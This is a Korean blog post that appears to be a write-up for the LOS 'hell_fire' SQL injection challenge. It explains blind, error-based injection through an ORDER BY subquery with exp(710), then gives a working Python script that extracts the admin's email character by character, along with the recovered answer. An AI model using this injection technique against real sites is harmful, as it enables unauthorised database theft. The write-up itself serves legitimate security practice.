반응형

해당 문제는 order by 절에서의 SQL Injection 문제이다.


해당 문제는 이전에 공부한 적이 있어 비슷한 방식으로 접근하였다.

예전에 공부한 문서는 아래의 네오이즘 님의 블로그를 보았었다.


https://n3015m.tistory.com/173


해당 블로그를 보면 order by 절에도 sub-query를 활용할 수 있개 때문에 조건문이 참일 때 여러개의 컬럼을 출력시키면 에러가 뜨고, 조건문이 거짓일 때에는 여러개의 컬럼이 출력되지 않기 때문에 본 쿼리가 제대로 실행되는 것을 이용한 blind sql injection 이다.


나는 여기서 서브쿼리를 이용할 수 있다는 것과 조건이 참일 때에만 쿼리가 실행되지 않는다는 개념을 이용하여 문제를 풀었다.


먼저 삽질하며 몇가지 깨달은 점이 있었다.


1. mysql에도 oracle처럼 dual 이라는 테이블이 존재한다.

2. 서브쿼리에서 select 문을 적을 때에는 from 문을 적지 않았을 때 본 쿼리의 테이블에서 검색을 한다.


위의 두 가지를 이용하여 이전에 활용한 exp(710)을 이용한 error based sql injection을 활용하여 문제를 풀었다.



where 조건문이 참일 경우에는 검색 결과가 뜨지 않지만 거짓일 경우에는 검색 결과가 뜬다. 따라서 원래 blind sql injection과 반대의 개념으로 접근하면 된다.



1. email의 길이 확인 : 28자리



1) 조건문이 참일 경우 결과가 출력되지 않음


2) 조건문이 거짓일 경우 결과가 출려됨


해당 방법을 이용하여 답을 찾아보았다.


조건문에서는 1과 비교하지만 비교했을 때 검색 결과가 뜨지 않아야 조건문이 참이라는 것이므로 응답에 rubiya805가 존재할 경우에 0을 binary에 추가해준다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import urllib2
 
silnex=''
 
url="https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php"
 
for chr_l in range(1,29):
    binary=''
    for bin_l in range(1,8):
        param="?order=(select+exp(710)+where+1=(select+mid(lpad(bin(ord(mid(email,"+str(chr_l)+",1))),7,0),"+str(bin_l)+",1)+where+id='admin'))"
 
        req=urllib2.Request(url+param)
        req.add_header('cookie','PHPSESSID=6lng5klqduk4ua8hduhshbhsgf')
        if 'rubiya805' in urllib2.urlopen(req).read():
            binary+='0'
        else:
            binary+='1'
        
        print binary
 
    silnex = silnex+('%x' % int(binary, 2)).decode('hex')
    print "[+] " + silnex
 
print "[+]Flag : " + silnex
cs


정답 : https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?email=admin_secure_email@emai1.com




반응형

'Solve Problem > LOS' 카테고리의 다른 글

[LOS] GREEN_DRAGON 문제 풀이  (0) 2019.06.09
[LOS] EVIL_WIZARD 문제 풀이  (0) 2019.06.09
[LOS] dark_eyes 문제풀이  (0) 2019.06.02
[LOS] iron_golem 문제풀이  (0) 2019.05.26
[LOS] 문제풀이 11번 - 20번  (0) 2019.05.26
블로그 이미지

rootable

,